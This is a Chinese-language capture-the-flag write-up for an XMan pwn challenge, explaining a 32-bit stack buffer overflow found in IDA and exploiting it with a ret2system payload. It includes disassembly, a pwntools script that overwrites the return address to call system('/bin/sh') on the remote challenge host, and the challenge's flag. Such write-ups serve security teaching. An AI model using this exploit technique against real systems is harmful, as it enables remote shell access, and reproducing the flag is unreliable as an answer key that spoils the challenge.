题目来源:
XMan
题目描述:
菜鸡请教大神如何获得flag,大神告诉他使用面向返回的编程
(ROP)就可以了
题目场景:
220.249.52.133:56257
题目附件:
1ab77c073b4f4524b73e086d063f884e
题目思路:
构造出0x88长度的buf数据,再输入4个长度的垃圾数据以覆盖ebp,由于是32位程序,所以直接加上call _system的地址以及/bin/sh的地址
解题过程:
载入IDA,F5反编译得到伪C代码,发现mian函数中有system,先查看vulnerable_function函数。
ssize_t vulnerable_function(){
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);}
buf这个字符数组的长度只有0x88,却可以输入0x100的东西,能覆盖掉数组外面的东西。当属于数组的空间结束后,有一个4个字节长度的s,其次是一个存放着返回地址的r。我们可以输入数据,覆盖返回地址r。
-00000088 ; D/A/* : change type (data/ascii/array)
-00000088 ; N : rename
-00000088 ; U : undefine
-00000088 ; Use data definition commands to create local variables and function arguments.
-00000088 ; Two special fields " r" and " s" represent return address and saved registers.
-00000088 ; Frame size: 88; Saved regs: 4; Purge: 0
-00000088 buf db ?
......
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
题目给了参数/bin/sh,shift+F12查看字符串位置,找到/bin/sh在0x0804A024。
.data:0804A024 2F 62 69 6E 2F 73 68 00 hint db '/bin/sh',0
重新回到main函数,发现存在system函数,tab,空格切换IDA视图,确定_system
地址。
解释一下汇编:x64和x32的汇编参数存放的位置不同,64位优先存在寄存器里,需要把/bin/sh参数复制到寄存器里,然后再调用_system
,而32位存在栈里,直接压入四个随意字节,再压入_system
的参数命令地址。
.text:08048480 ; __unwind {
.text:08048480 8D 4C 24 04 lea ecx, [esp+4]
.text:08048484 83 E4 F0 and esp, 0FFFFFFF0h
.text:08048487 FF 71 FC push dword ptr [ecx-4]
.text:0804848A 55 push ebp
.text:0804848B 89 E5 mov ebp, esp
.text:0804848D 51 push ecx
.text:0804848E 83 EC 04 sub esp, 4
.text:08048491 E8 B5 FF FF FF call vulnerable_function
.text:08048496 83 EC 0C sub esp, 0Ch
.text:08048499 68 4C 85 04 08 push offset aEchoHelloWorld ; "echo 'Hello World!'"
.text:0804849E E8 7D FE FF FF call _system
.text:080484A3 83 C4 10 add esp, 10h
.text:080484A6 B8 00 00 00 00 mov eax, 0
.text:080484AB 8B 4D FC mov ecx, [ebp+var_4]
.text:080484AE C9 leave
.text:080484AF 8D 61 FC lea esp, [ecx-4]
.text:080484B2 C3 retn
.text:080484B2 ; } // starts at 8048480
call _system地址是0x0804849E把他写到返回地址r上,在数组结束后直接返回到_system
函数上,再传入/bin/sh参数地址,脚本:
from pwn import *
p = remote("220.249.52.133",56257)
payload = 'A' * 0x88 + 'a' * 0x4 + p32(0x0804849E)+p32(0x0804A024)#32位程序要用p32
p.recvuntil("")
p.sendline(payload)
p.interactive()
cyberpeace{fc8c57d0da48c7b6a6dc7b5c983b5188}